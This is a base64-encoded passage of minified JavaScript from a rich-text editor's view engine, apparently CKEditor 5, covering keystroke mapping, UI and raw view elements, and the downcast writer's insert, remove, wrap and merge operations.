JuIHR9cmV0dXJuIEdsKHQpLm1hcCgodD0+emxbdC50b0xvd2VyQ2FzZSgpXXx8dCkpLnJlZHVjZSgoKHQsZSk9PntpZih0LnNsaWNlKC0xKWluIFBsKXtyZXR1cm4gdCtlfWVsc2V7cmV0dXJuIHQrIisiK2V9fSkpfWZ1bmN0aW9uIEZsKHQpe3JldHVybiB0PT1MbC5hcnJvd3JpZ2h0fHx0PT1MbC5hcnJvd2xlZnR8fHQ9PUxsLmFycm93dXB8fHQ9PUxsLmFycm93ZG93bn1mdW5jdGlvbiBWbCh0LGUpe2NvbnN0IG49ZT09PSJsdHIiO3N3aXRjaCh0KXtjYXNlIExsLmFycm93bGVmdDpyZXR1cm4gbj8ibGVmdCI6InJpZ2h0IjtjYXNlIExsLmFycm93cmlnaHQ6cmV0dXJuIG4/InJpZ2h0IjoibGVmdCI7Y2FzZSBMbC5hcnJvd3VwOnJldHVybiJ1cCI7Y2FzZSBMbC5hcnJvd2Rvd246cmV0dXJuImRvd24ifX1mdW5jdGlvbiBVbCh0LGUpe2NvbnN0IG49VmwodCxlKTtyZXR1cm4gbj09PSJkb3duInx8bj09PSJyaWdodCJ9ZnVuY3Rpb24gSGwoKXtjb25zdCB0PXthcnJvd2xlZnQ6MzcsYXJyb3d1cDozOCxhcnJvd3JpZ2h0OjM5LGFycm93ZG93bjo0MCxiYWNrc3BhY2U6OCxkZWxldGU6NDYsZW50ZXI6MTMsc3BhY2U6MzIsZXNjOjI3LHRhYjo5LGN0cmw6MTExNDExMixjbWQ6MTExNDExMixzaGlmdDoyMjI4MjI0LGFsdDo0NDU2NDQ4fTtmb3IobGV0IGU9NjU7ZTw9OTA7ZSsrKXtjb25zdCBuPVN0cmluZy5mcm9tQ2hhckNvZGUoZSk7dFtuLnRvTG93ZXJDYXNlKCldPWV9Zm9yKGxldCBlPTQ4O2U8PTU3O2UrKyl7dFtlLTQ4XT1lfWZvcihsZXQgZT0xMTI7ZTw9MTIzO2UrKyl7dFsiZiIrKGUtMTExKV09ZX1yZXR1cm4gdH1mdW5jdGlvbiBHbCh0KXtyZXR1cm4gdC5zcGxpdCgvXHMqXCtccyovKX1jbGFzcyBXbCBleHRlbmRzIGpje2NvbnN0cnVjdG9yKHQsZSxuLGkpe3N1cGVyKHQsZSxuLGkpO3RoaXMuZ2V0RmlsbGVyT2Zmc2V0PXFsfWlzKHQsZT1udWxsKXtpZighZSl7cmV0dXJuIHQ9PT0idWlFbGVtZW50Inx8dD09PSJ2aWV3OnVpRWxlbWVudCJ8fHQ9PT0iZWxlbWVudCJ8fHQ9PT0idmlldzplbGVtZW50Inx8dD09PSJub2RlInx8dD09PSJ2aWV3Om5vZGUifWVsc2V7cmV0dXJuIGU9PT10aGlzLm5hbWUmJih0PT09InVpRWxlbWVudCJ8fHQ9PT0idmlldzp1aUVsZW1lbnQifHx0PT09ImVsZW1lbnQifHx0PT09InZpZXc6ZWxlbWVudCIpfX1faW5zZXJ0Q2hpbGQodCxlKXtpZihlJiYoZSBpbnN0YW5jZW9mIEZzfHxBcnJheS5mcm9tKGUpLmxlbmd0aD4wKSl7dGhyb3cgbmV3IHNzWyJhIl0oInZpZXctdWllbGVtZW50LWNhbm5vdC1hZGQiLHRoaXMpfX1yZW5kZXIodCl7cmV0dXJuIHRoaXMudG9Eb21FbGVtZW50KHQpfXRvRG9tRWxlbWVudCh0KXtjb25zdCBlPXQuY3JlYXRlRWxlbWVudCh0aGlzLm5hbWUpO2Zvcihjb25zdCB0IG9mIHRoaXMuZ2V0QXR0cmlidXRlS2V5cygpKXtlLnNldEF0dHJpYnV0ZSh0LHRoaXMuZ2V0QXR0cmlidXRlKHQpKX1yZXR1cm4gZX19ZnVuY3Rpb24gS2wodCl7dC5kb2N1bWVudC5vbigia2V5ZG93biIsKChlLG4pPT5ZbChlLG4sdC5kb21Db252ZXJ0ZXIpKSl9ZnVuY3Rpb24gcWwoKXtyZXR1cm4gbnVsbH1mdW5jdGlvbiBZbCh0LGUsbil7aWYoZS5rZXlDb2RlPT1MbC5hcnJvd3JpZ2h0KXtjb25zdCB0PWUuZG9tVGFyZ2V0Lm93bmVyRG9jdW1lbnQuZGVmYXVsdFZpZXcuZ2V0U2VsZWN0aW9uKCk7Y29uc3QgaT10LnJhbmdlQ291bnQ9PTEmJnQuZ2V0UmFuZ2VBdCgwKS5jb2xsYXBzZWQ7aWYoaXx8ZS5zaGlmdEtleSl7Y29uc3QgZT10LmZvY3VzTm9kZTtjb25zdCBvPXQuZm9jdXNPZmZzZXQ7Y29uc3Qgcj1uLmRvbVBvc2l0aW9uVG9WaWV3KGUsbyk7aWYocj09PW51bGwpe3JldHVybn1sZXQgcz1mYWxzZTtjb25zdCBhPXIuZ2V0TGFzdE1hdGNoaW5nUG9zaXRpb24oKHQ9PntpZih0Lml0ZW0uaXMoInVpRWxlbWVudCIpKXtzPXRydWV9aWYodC5pdGVtLmlzKCJ1aUVsZW1lbnQiKXx8dC5pdGVtLmlzKCJhdHRyaWJ1dGVFbGVtZW50Iikpe3JldHVybiB0cnVlfXJldHVybiBmYWxzZX0pKTtpZihzKXtjb25zdCBlPW4udmlld1Bvc2l0aW9uVG9Eb20oYSk7aWYoaSl7dC5jb2xsYXBzZShlLnBhcmVudCxlLm9mZnNldCl9ZWxzZXt0LmV4dGVuZChlLnBhcmVudCxlLm9mZnNldCl9fX19fWNsYXNzIFFsIGV4dGVuZHMgamN7Y29uc3RydWN0b3IodCxlLG4saSl7c3VwZXIodCxlLG4saSk7dGhpcy5nZXRGaWxsZXJPZmZzZXQ9JGx9aXModCxlPW51bGwpe2lmKCFlKXtyZXR1cm4gdD09PSJyYXdFbGVtZW50Inx8dD09PSJ2aWV3OnJhd0VsZW1lbnQifHx0PT09dGhpcy5uYW1lfHx0PT09InZpZXc6Iit0aGlzLm5hbWV8fHQ9PT0iZWxlbWVudCJ8fHQ9PT0idmlldzplbGVtZW50Inx8dD09PSJub2RlInx8dD09PSJ2aWV3Om5vZGUifWVsc2V7cmV0dXJuIGU9PT10aGlzLm5hbWUmJih0PT09InJhd0VsZW1lbnQifHx0PT09InZpZXc6cmF3RWxlbWVudCJ8fHQ9PT0iZWxlbWVudCJ8fHQ9PT0idmlldzplbGVtZW50Iil9fV9pbnNlcnRDaGlsZCh0LGUpe2lmKGUmJihlIGluc3RhbmNlb2YgRnN8fEFycmF5LmZyb20oZSkubGVuZ3RoPjApKXt0aHJvdyBuZXcgc3NbImEiXSgidmlldy1yYXdlbGVtZW50LWNhbm5vdC1hZGQiLFt0aGlzLGVdKX19fWZ1bmN0aW9uICRsKCl7cmV0dXJuIG51bGx9Y2xhc3MgSmx7Y29uc3RydWN0b3IodCxlKXt0aGlzLmRvY3VtZW50PXQ7dGhpcy5fY2hpbGRyZW49W107aWYoZSl7dGhpcy5faW5zZXJ0Q2hpbGQoMCxlKX19W1N5bWJvbC5pdGVyYXRvcl0oKXtyZXR1cm4gdGhpcy5fY2hpbGRyZW5bU3ltYm9sLml0ZXJhdG9yXSgpfWdldCBjaGlsZENvdW50KCl7cmV0dXJuIHRoaXMuX2NoaWxkcmVuLmxlbmd0aH1nZXQgaXNFbXB0eSgpe3JldHVybiB0aGlzLmNoaWxkQ291bnQ9PT0wfWdldCByb290KCl7cmV0dXJuIHRoaXN9Z2V0IHBhcmVudCgpe3JldHVybiBudWxsfWlzKHQpe3JldHVybiB0PT09ImRvY3VtZW50RnJhZ21lbnQifHx0PT09InZpZXc6ZG9jdW1lbnRGcmFnbWVudCJ9X2FwcGVuZENoaWxkKHQpe3JldHVybiB0aGlzLl9pbnNlcnRDaGlsZCh0aGlzLmNoaWxkQ291bnQsdCl9Z2V0Q2hpbGQodCl7cmV0dXJuIHRoaXMuX2NoaWxkcmVuW3RdfWdldENoaWxkSW5kZXgodCl7cmV0dXJuIHRoaXMuX2NoaWxkcmVuLmluZGV4T2YodCl9Z2V0Q2hpbGRyZW4oKXtyZXR1cm4gdGhpcy5fY2hpbGRyZW5bU3ltYm9sLml0ZXJhdG9yXSgpfV9pbnNlcnRDaGlsZCh0LGUpe3RoaXMuX2ZpcmVDaGFuZ2UoImNoaWxkcmVuIix0aGlzKTtsZXQgbj0wO2NvbnN0IGk9WmwodGhpcy5kb2N1bWVudCxlKTtmb3IoY29uc3QgZSBvZiBpKXtpZihlLnBhcmVudCE9PW51bGwpe2UuX3JlbW92ZSgpfWUucGFyZW50PXRoaXM7dGhpcy5fY2hpbGRyZW4uc3BsaWNlKHQsMCxlKTt0Kys7bisrfXJldHVybiBufV9yZW1vdmVDaGlsZHJlbih0LGU9MSl7dGhpcy5fZmlyZUNoYW5nZSgiY2hpbGRyZW4iLHRoaXMpO2ZvcihsZXQgbj10O248dCtlO24rKyl7dGhpcy5fY2hpbGRyZW5bbl0ucGFyZW50PW51bGx9cmV0dXJuIHRoaXMuX2NoaWxkcmVuLnNwbGljZSh0LGUpfV9maXJlQ2hhbmdlKHQsZSl7dGhpcy5maXJlKCJjaGFuZ2U6Iit0LGUpfX1fcyhKbCxkcyk7ZnVuY3Rpb24gWmwodCxlKXtpZih0eXBlb2YgZT09InN0cmluZyIpe3JldHVybltuZXcgVnModCxlKV19aWYoIUFzKGUpKXtlPVtlXX1yZXR1cm4gQXJyYXkuZnJvbShlKS5tYXAoKGU9PntpZih0eXBlb2YgZT09InN0cmluZyIpe3JldHVybiBuZXcgVnModCxlKX1pZihlIGluc3RhbmNlb2YgVXMpe3JldHVybiBuZXcgVnModCxlLmRhdGEpfXJldHVybiBlfSkpfWNsYXNzIFhse2NvbnN0cnVjdG9yKHQpe3RoaXMuZG9jdW1lbnQ9dDt0aGlzLl9jbG9uZUdyb3Vwcz1uZXcgTWFwfXNldFNlbGVjdGlvbih0LGUsbil7dGhpcy5kb2N1bWVudC5zZWxlY3Rpb24uX3NldFRvKHQsZSxuKX1zZXRTZWxlY3Rpb25Gb2N1cyh0LGUpe3RoaXMuZG9jdW1lbnQuc2VsZWN0aW9uLl9zZXRGb2N1cyh0LGUpfWNyZWF0ZVRleHQodCl7cmV0dXJuIG5ldyBWcyh0aGlzLmRvY3VtZW50LHQpfWNyZWF0ZUF0dHJpYnV0ZUVsZW1lbnQodCxlLG49e30pe2NvbnN0IGk9bmV3IENsKHRoaXMuZG9jdW1lbnQsdCxlKTtpZihuLnByaW9yaXR5KXtpLl9wcmlvcml0eT1uLnByaW9yaXR5fWlmKG4uaWQpe2kuX2lkPW4uaWR9cmV0dXJuIGl9Y3JlYXRlQ29udGFpbmVyRWxlbWVudCh0LGUpe3JldHVybiBuZXcgSGModGhpcy5kb2N1bWVudCx0LGUpfWNyZWF0ZUVkaXRhYmxlRWxlbWVudCh0LGUpe2NvbnN0IG49bmV3IGNsKHRoaXMuZG9jdW1lbnQsdCxlKTtuLl9kb2N1bWVudD10aGlzLmRvY3VtZW50O3JldHVybiBufWNyZWF0ZUVtcHR5RWxlbWVudCh0LGUpe3JldHVybiBuZXcgdmwodGhpcy5kb2N1bWVudCx0LGUpfWNyZWF0ZVVJRWxlbWVudCh0LGUsbil7Y29uc3QgaT1uZXcgV2wodGhpcy5kb2N1bWVudCx0LGUpO2lmKG4pe2kucmVuZGVyPW59cmV0dXJuIGl9Y3JlYXRlUmF3RWxlbWVudCh0LGUsbil7Y29uc3QgaT1uZXcgUWwodGhpcy5kb2N1bWVudCx0LGUpO2kucmVuZGVyPW58fCgoKT0+e30pO3JldHVybiBpfXNldEF0dHJpYnV0ZSh0LGUsbil7bi5fc2V0QXR0cmlidXRlKHQsZSl9cmVtb3ZlQXR0cmlidXRlKHQsZSl7ZS5fcmVtb3ZlQXR0cmlidXRlKHQpfWFkZENsYXNzKHQsZSl7ZS5fYWRkQ2xhc3ModCl9cmVtb3ZlQ2xhc3ModCxlKXtlLl9yZW1vdmVDbGFzcyh0KX1zZXRTdHlsZSh0LGUsbil7aWYoUCh0KSYmbj09PXVuZGVmaW5lZCl7bj1lfW4uX3NldFN0eWxlKHQsZSl9cmVtb3ZlU3R5bGUodCxlKXtlLl9yZW1vdmVTdHlsZSh0KX1zZXRDdXN0b21Qcm9wZXJ0eSh0LGUsbil7bi5fc2V0Q3VzdG9tUHJvcGVydHkodCxlKX1yZW1vdmVDdXN0b21Qcm9wZXJ0eSh0LGUpe3JldHVybiBlLl9yZW1vdmVDdXN0b21Qcm9wZXJ0eSh0KX1icmVha0F0dHJpYnV0ZXModCl7aWYodCBpbnN0YW5jZW9mIGhsKXtyZXR1cm4gdGhpcy5fYnJlYWtBdHRyaWJ1dGVzKHQpfWVsc2V7cmV0dXJuIHRoaXMuX2JyZWFrQXR0cmlidXRlc1JhbmdlKHQpfX1icmVha0NvbnRhaW5lcih0KXtjb25zdCBlPXQucGFyZW50O2lmKCFlLmlzKCJjb250YWluZXJFbGVtZW50Iikpe3Rocm93IG5ldyBzc1siYSJdKCJ2aWV3LXdyaXRlci1icmVhay1ub24tY29udGFpbmVyLWVsZW1lbnQiLHRoaXMuZG9jdW1lbnQpfWlmKCFlLnBhcmVudCl7dGhyb3cgbmV3IHNzWyJhIl0oInZpZXctd3JpdGVyLWJyZWFrLXJvb3QiLHRoaXMuZG9jdW1lbnQpfWlmKHQuaXNBdFN0YXJ0KXtyZXR1cm4gaGwuX2NyZWF0ZUJlZm9yZShlKX1lbHNlIGlmKCF0LmlzQXRFbmQpe2NvbnN0IG49ZS5fY2xvbmUoZmFsc2UpO3RoaXMuaW5zZXJ0KGhsLl9jcmVhdGVBZnRlcihlKSxuKTtjb25zdCBpPW5ldyBmbCh0LGhsLl9jcmVhdGVBdChlLCJlbmQiKSk7Y29uc3Qgbz1uZXcgaGwobiwwKTt0aGlzLm1vdmUoaSxvKX1yZXR1cm4gaGwuX2NyZWF0ZUFmdGVyKGUpfW1lcmdlQXR0cmlidXRlcyh0KXtjb25zdCBlPXQub2Zmc2V0O2NvbnN0IG49dC5wYXJlbnQ7aWYobi5pcygiJHRleHQiKSl7cmV0dXJuIHR9aWYobi5pcygiYXR0cmlidXRlRWxlbWVudCIpJiZuLmNoaWxkQ291bnQ9PT0wKXtjb25zdCB0PW4ucGFyZW50O2NvbnN0IGU9bi5pbmRleDtuLl9yZW1vdmUoKTt0aGlzLl9yZW1vdmVGcm9tQ2xvbmVkRWxlbWVudHNHcm91cChuKTtyZXR1cm4gdGhpcy5tZXJnZUF0dHJpYnV0ZXMobmV3IGhsKHQsZSkpfWNvbnN0IGk9bi5nZXRDaGlsZChlLTEpO2NvbnN0IG89bi5nZXRDaGlsZChlKTtpZighaXx8IW8pe3JldHVybiB0fWlmKGkuaXMoIiR0ZXh0IikmJm8uaXMoIiR0ZXh0Iikpe3JldHVybiByZChpLG8pfWVsc2UgaWYoaS5pcygiYXR0cmlidXRlRWxlbWVudCIpJiZvLmlzKCJhdHRyaWJ1dGVFbGVtZW50IikmJmkuaXNTaW1pbGFyKG8pKXtjb25zdCB0PWkuY2hpbGRDb3VudDtpLl9hcHBlbmRDaGlsZChvLmdldENoaWxkcmVuKCkpO28uX3JlbW92ZSgpO3RoaXMuX3JlbW92ZUZyb21DbG9uZWRFbGVtZW50c0dyb3VwKG8pO3JldHVybiB0aGlzLm1lcmdlQXR0cmlidXRlcyhuZXcgaGwoaSx0KSl9cmV0dXJuIHR9bWVyZ2VDb250YWluZXJzKHQpe2NvbnN0IGU9dC5ub2RlQmVmb3JlO2NvbnN0IG49dC5ub2RlQWZ0ZXI7aWYoIWV8fCFufHwhZS5pcygiY29udGFpbmVyRWxlbWVudCIpfHwhbi5pcygiY29udGFpbmVyRWxlbWVudCIpKXt0aHJvdyBuZXcgc3NbImEiXSgidmlldy13cml0ZXItbWVyZ2UtY29udGFpbmVycy1pbnZhbGlkLXBvc2l0aW9uIix0aGlzLmRvY3VtZW50KX1jb25zdCBpPWUuZ2V0Q2hpbGQoZS5jaGlsZENvdW50LTEpO2NvbnN0IG89aSBpbnN0YW5jZW9mIFZzP2hsLl9jcmVhdGVBdChpLCJlbmQiKTpobC5fY3JlYXRlQXQoZSwiZW5kIik7dGhpcy5tb3ZlKGZsLl9jcmVhdGVJbihuKSxobC5fY3JlYXRlQXQoZSwiZW5kIikpO3RoaXMucmVtb3ZlKGZsLl9jcmVhdGVPbihuKSk7cmV0dXJuIG99aW5zZXJ0KHQsZSl7ZT1BcyhlKT9bLi4uZV06W2VdO3NkKGUsdGhpcy5kb2N1bWVudCk7Y29uc3Qgbj1lZCh0KTtpZighbil7dGhyb3cgbmV3IHNzWyJhIl0oInZpZXctd3JpdGVyLWludmFsaWQtcG9zaXRpb24tY29udGFpbmVyIix0aGlzLmRvY3VtZW50KX1jb25zdCBpPXRoaXMuX2JyZWFrQXR0cmlidXRlcyh0LHRydWUpO2NvbnN0IG89bi5faW5zZXJ0Q2hpbGQoaS5vZmZzZXQsZSk7Zm9yKGNvbnN0IHQgb2YgZSl7dGhpcy5fYWRkVG9DbG9uZWRFbGVtZW50c0dyb3VwKHQpfWNvbnN0IHI9aS5nZXRTaGlmdGVkQnkobyk7Y29uc3Qgcz10aGlzLm1lcmdlQXR0cmlidXRlcyhpKTtpZihvPT09MCl7cmV0dXJuIG5ldyBmbChzLHMpfWVsc2V7aWYoIXMuaXNFcXVhbChpKSl7ci5vZmZzZXQtLX1jb25zdCB0PXRoaXMubWVyZ2VBdHRyaWJ1dGVzKHIpO3JldHVybiBuZXcgZmwocyx0KX19cmVtb3ZlKHQpe2NvbnN0IGU9dCBpbnN0YW5jZW9mIGZsP3Q6ZmwuX2NyZWF0ZU9uKHQpO2xkKGUsdGhpcy5kb2N1bWVudCk7aWYoZS5pc0NvbGxhcHNlZCl7cmV0dXJuIG5ldyBKbCh0aGlzLmRvY3VtZW50KX1jb25zdHtzdGFydDpuLGVuZDppfT10aGlzLl9icmVha0F0dHJpYnV0ZXNSYW5nZShlLHRydWUpO2NvbnN0IG89bi5wYXJlbnQ7Y29uc3Qgcj1pLm9mZnNldC1uLm9mZnNldDtjb25zdCBzPW8uX3JlbW92ZUNoaWxkcmVuKG4ub2Zmc2V0LHIpO2Zvcihjb25zdCB0IG9mIHMpe3RoaXMuX3JlbW92ZUZyb21DbG9uZWRFbGVtZW50c0dyb3VwKHQpfWNvbnN0IGE9dGhpcy5tZXJnZUF0dHJpYnV0ZXMobik7ZS5zdGFydD1hO2UuZW5kPWEuY2xvbmUoKTtyZXR1cm4gbmV3IEpsKHRoaXMuZG9jdW1lbnQscyl9Y2xlYXIodCxlKXtsZCh0LHRoaXMuZG9jdW1lbnQpO2NvbnN0IG49dC5nZXRXYWxrZXIoe2RpcmVjdGlvbjoiYmFja3dhcmQiLGlnbm9yZUVsZW1lbnRFbmQ6dHJ1ZX0pO2Zvcihjb25zdCBpIG9mIG4pe2NvbnN0IG49aS5pdGVtO2xldCBvO2lmKG4uaXMoImVsZW1lbnQiKSYmZS5pc1NpbWlsYXIobikpe289ZmwuX2NyZWF0ZU9uKG4pfWVsc2UgaWYoIWkubmV4dFBvc2l0aW9uLmlzQWZ0ZXIodC5zdGFydCkmJm4uaXMoIiR0ZXh0UHJveHkiKSl7Y29uc3QgdD1uLmdldEFuY2VzdG9ycygpLmZpbmQoKHQ9PnQuaXMoImVsZW1lbnQiKSYmZS5pc1NpbWlsYXIodCkpKTtpZih0KXtvPWZsLl9jcmVhdGVJbih0KX19aWYobyl7aWYoby5lbmQuaXNBZnRlcih0LmVuZCkpe28uZW5kPXQuZW5kfWlmKG8uc3RhcnQuaXNCZWZvcmUodC5zdGFydCkpe28uc3RhcnQ9dC5zdGFydH10aGlzLnJlbW92ZShvKX19fW1vdmUodCxlKXtsZXQgbjtpZihlLmlzQWZ0ZXIodC5lbmQpKXtlPXRoaXMuX2JyZWFrQXR0cmlidXRlcyhlLHRydWUpO2NvbnN0IGk9ZS5wYXJlbnQ7Y29uc3Qgbz1pLmNoaWxkQ291bnQ7dD10aGlzLl9icmVha0F0dHJpYnV0ZXNSYW5nZSh0LHRydWUpO249dGhpcy5yZW1vdmUodCk7ZS5vZmZzZXQrPWkuY2hpbGRDb3VudC1vfWVsc2V7bj10aGlzLnJlbW92ZSh0KX1yZXR1cm4gdGhpcy5pbnNlcnQoZSxuKX13cmFwKHQsZSl7aWYoIShlIGluc3RhbmNlb2YgQ2wpKXt0aHJvdyBuZXcgc3NbImEiXSgidmlldy13cml0ZXItd3JhcC1pbnZhbGlkLWF0dHJpYnV0ZSIsdGhpcy5kb2N1bWVudCl9bGQodCx0aGlzLmRvY3VtZW50KTtpZighdC5pc0NvbGxhcHNlZCl7cmV0dXJuIHRoaXMuX3dyYXBSYW5nZSh0LGUpfWVsc2V7bGV0IG49dC5zdGFydDtpZihuLnBhcmVudC5pcygiZWxlbWVudCIpJiYhdGQobi5wYXJlbnQpKXtuPW4uZ2V0TGFzdE1hdGNoaW5nUG9zaXRpb24oKHQ9PnQuaXRlbS5pcygidWlFbGVtZW50IikpKX1uPXRoaXMuX3dyYXBQb3NpdGlvbihuLGUpO2NvbnN0IGk9dGhpcy5kb2N1bWVudC5zZWxlY3Rpb247aWYoaS5pc0NvbGxhcHNlZCYmaS5nZXRGaXJzdFBvc2l0aW9uKCkuaXNFcXVhbCh0LnN0YXJ0KSl7dGhpcy5zZXRTZWxlY3Rpb24obil9cmV0dXJuIG5ldyBmbChuKX19dW53cmFwKHQsZSl7aWYoIShlIGluc3RhbmNlb2YgQ2wpKXt0aHJvdyBuZXcgc3NbImEiXSgidmlldy13cml0ZXItdW53cmFwLWludmFsaWQtYXR0cmlidXRlIix0aGlzLmRvY3VtZW50KX1sZCh0LHRoaXMuZG9jdW1lbnQpO2lmKHQuaXNDb2xsYXBzZWQpe3JldHVybiB0fWNvbnN0e3N0YXJ0Om4sZW5kOml9PXRoaXMuX2JyZWFrQXR0cmlidXRlc1JhbmdlKHQsdHJ1ZSk7Y29uc3Qgbz1uLnBhcmVudDtjb25zdCByPXRoaXMuX3Vud3JhcENoaWxkcmVuKG8sbi5vZmZzZXQsaS5vZmZzZXQsZSk7Y29uc3Qgcz10aGlzLm1lcmdlQXR0cmlidXRlcyhyLnN0YXJ0KTtpZighcy5pc0VxdWFsKHIuc3RhcnQpKXtyLmVuZC5vZmZzZXQtLX1jb25zdCBhPXRoaXMubWVyZ2VBdHRyaWJ1dGVzKHIuZW5kKTtyZXR1cm4gbmV3IGZsKHMsYSl9cmVuYW1lKHQsZSl7Y29uc3Qgbj1uZXcgSGModGhpcy5kb2N1bWVudCx0LGUuZ2V0QXR0cmlidXRlcygpKTt0aGlzLmluc2VydChobC5fY3JlYXRlQWZ0ZXIoZSksbik7dGhpcy5tb3ZlKGZsLl9jcmVhdGVJbihlKSxobC5fY3JlYXRlQXQobiwwKSk7dGhpcy5yZW1vdmUoZmwuX2NyZWF0ZU9uKGUpKTtyZXR1cm4gbn1jbGVhckNsb25lZEVsZW1lbnRzR3JvdXAodCl7dGhpcy5fY2xvbmVHcm91cHMuZGVsZXRlKHQpfWNyZWF0ZVBvc2l0aW9uQXQodCxlKXtyZXR1cm4gaGwuX2NyZWF0ZUF0KHQsZSl9Y3JlYXRlUG9zaXRpb25BZnRlcih0KXtyZXR1cm4gaGwuX2NyZWF0ZUFmdGVyKHQpfWNyZWF0ZVBvc2l0aW9uQmVmb3JlKHQpe3JldHVybiBobC5fY3JlYXRlQmVmb3JlKHQpfWNyZWF0ZVJhbmdlKHQsZSl7cmV0dXJuIG5ldyBmbCh0LGUpfWNyZWF0ZVJhbmdlT24odCl7cmV0dXJuIGZsLl9jcmVhdGVPbih0KX1jcmVhdGVSYW5nZUluKHQpe3JldHVybiBmbC5fY3JlYXRlSW4odCl9Y3JlYXRlU2VsZWN0aW9uKHQsZSxuKXtyZXR1cm4gbmV3IHBsKHQsZSxuKX1fd3JhcENoaWxkcmVuKHQsZSxuLGkpe2xldCBvPWU7Y29uc3Qgcj1bXTt3aGlsZShvPG4pe2NvbnN0IGU9dC5nZXRDaGlsZChvKTtjb25zdCBuPWUuaXMoIiR0ZXh0Iik7Y29uc3Qgcz1lLmlzKCJhdHRyaWJ1dGVFbGVtZW50Iik7Y29uc3QgYT1lLmlzKCJlbXB0eUVsZW1lbnQiKTtjb25zdCBjPWUuaXMoInVpRWxlbWVudCIpO2NvbnN0IGw9ZS5pcygicmF3RWxlbWVudCIpO2lmKHMmJnRoaXMuX3dyYXBBdHRyaWJ1dGVFbGVtZW50KGksZSkpe3IucHVzaChuZXcgaGwodCxvKSl9ZWxzZSBpZihufHxhfHxjfHxsfHxzJiZuZChpLGUpKXtjb25zdCBuPWkuX2Nsb25lKCk7ZS5fcmVtb3ZlKCk7bi5fYXBwZW5kQ2hpbGQoZSk7dC5faW5zZXJ0Q2hpbGQobyxuKTt0aGlzLl9hZGRUb0Nsb25lZEVsZW1lbnRzR3JvdXAobik7ci5wdXNoKG5ldyBobCh0LG8pKX1lbHNlIGlmKHMpe3RoaXMuX3dyYXBDaGlsZHJlbihlLDAsZS5jaGlsZENvdW50LGkpfW8rK31sZXQgcz0wO2Zvcihjb25zdCB0IG9mIHIpe3Qub2Zmc2V0LT1zO2lmKHQub2Zmc2V0PT1lKXtjb250aW51ZX1jb25zdCBpPXRoaXMubWVyZ2VBdHRyaWJ1dGVzKHQpO2lmKCFpLmlzRXF1YWwodCkpe3MrKztuLS19fXJldHVybiBmbC5fY3JlYXRlRnJvbVBhcmVudHNBbmRPZmZzZXRzKHQsZSx0LG4pfV91bndyYXBDaGlsZHJlbih0LGUsbixpKXtsZXQgbz1lO2NvbnN0IHI9W107d2hpbGUobzxuKXtjb25zdCBlPXQuZ2V0Q2hpbGQobyk7aWYoIWUuaXMoImF0dHJpYnV0ZUVsZW1lbnQiKSl7bysrO2NvbnRpbnVlfWlmKGUuaXNTaW1pbGFyKGkpKXtjb25zdCBpPWUuZ2V0Q2hpbGRyZW4oKTtjb25zdCBzPWUuY2hpbGRDb3VudDtlLl9yZW1vdmUoKTt0Ll9pbnNlcnRDaGlsZChvLGkpO3RoaXMuX3JlbW92ZUZyb21DbG9uZWRFbGVtZW50c0dyb3VwKGUpO3IucHVzaChuZXcgaGwodCxvKSxuZXcgaGwodCxvK3MpKTtvKz1zO24rPXMtMTtjb250aW51ZX1pZih0aGlzLl91bndyYXBBdHRyaWJ1dGVFbGVtZW50KGksZSkpe3IucHVzaChuZXcgaGwodCxvKSxuZXcgaGwodCxvKzEpKTtvKys7Y29udGludWV9dGhpcy5fdW53cmFwQ2hpbGRyZW4oZSwwLGUuY2hpbGRDb3VudCxpKTtvKyt9bGV0IHM9MDtmb3IoY29uc3QgdCBvZiByKXt0Lm9mZnNldC09cztpZih0Lm9mZnNldD09ZXx8dC5vZmZzZXQ9PW4pe2NvbnRpbnVlfWNvbnN0IGk9dGhpcy5tZXJnZUF0dHJpYnV0ZXModCk7aWYoIWkuaXNFcXVhbCh0KSl7cysrO24tLX19cmV0dXJuIGZsLl9jcmVhdGVGcm9tUGFyZW50c0FuZE9mZnNldHModCxlLHQsbil9X3dyYXBSYW5nZSh0LGUpe2NvbnN0e3N0YXJ0Om4sZW5kOml9PXRoaXMuX2JyZWFrQXR0cmlidXRlc1JhbmdlKHQsdHJ1ZSk7Y29uc3Qgbz1uLnBhcmVudDtjb25zdCByPXRoaXMuX3dyYXBDaGlsZHJlbihvLG4ub2Zmc2V0LGkub2Zmc2V0LGUpO2NvbnN0IHM9dGhpcy5tZXJnZUF0dHJpYnV0ZXMoci5zdGFydCk7aWYoIXMuaXNFcXVhbChyLnN0YXJ0KSl7ci5lbmQub2Zmc2V0LS19Y29uc3QgYT10aGlzLm1lcmdlQXR0cmlidXRlcyhyLmVuZCk7cmV0dXJuIG5ldyBmbChzLGEpfV93cmFwUG9zaXRpb24odCxlKXtpZihlLmlzU2ltaWxhcih0LnBhcmVudCkpe3JldHVybiBpZCh0LmNsb25lKCkpfWlmKHQucGFyZW50LmlzKCIkdGV4dCIpKXt0PW9kKHQpfWNvbnN0IG49dGhpcy5jcmVhdGVBdHRyaWJ1dGVFbGVtZW50KCk7bi5fcHJpb3JpdHk9TnVtYmVyLlBPU0lUSVZFX0lORklOSVRZO24uaXNTaW1pbGFyPSgpPT5mYWxzZTt0LnBhcmVudC5faW5zZXJ0Q2hpbGQodC5vZmZzZXQsbik7Y29uc3QgaT1uZXcgZmwodCx0LmdldFNoaWZ0ZWRCeSgxKSk7dGhpcy53cmFwKGksZSk7Y29uc3Qgbz1uZXcgaGwobi5wYXJlbnQsbi5pbmRleCk7bi5fcmVtb3ZlKCk7Y29uc3Qgcj1vLm5vZGVCZWZvcmU7Y29uc3Qgcz1vLm5vZGVBZnRlcjtpZihyIGluc3RhbmNlb2YgVnMmJnMgaW5zdGFuY2VvZiBWcyl7cmV0dXJuIHJkKHIscyl9cmV0dXJuIGlkKG8pfV93cmFwQXR0cmlidXRlRWxlbWVudCh0LGUpe2lmKCFkZCh0LGUpKXtyZXR1cm4gZmFsc2V9aWYodC5uYW1lIT09ZS5uYW1lfHx0LnByaW9yaXR5IT09ZS5wcmlvcml0eSl7cmV0dXJuIGZhbHNlfWZvcihjb25zdCBuIG9mIHQuZ2V0QXR0cmlidXRlS2V5cygpKXtpZihuPT09ImNsYXNzInx8bj09PSJzdHlsZSIpe2NvbnRpbnVlfWlmKGUuaGFzQXR0cmlidXRlKG4pJiZlLmdldEF0dHJpYnV0ZShuKSE9PXQuZ2V0QXR0cmlidXRlKG4pKXtyZXR1cm4gZmFsc2V9fWZvcihjb25zdCBuIG9mIHQuZ2V0U3R5bGVOYW1lcygpKXtpZihlLmhhc1N0eWxlKG4pJiZlLmdldFN0eWxlKG4pIT09dC5nZXRTdHlsZShuKSl7cmV0dXJuIGZhbHNlfX1mb3IoY29uc3QgbiBvZiB0LmdldEF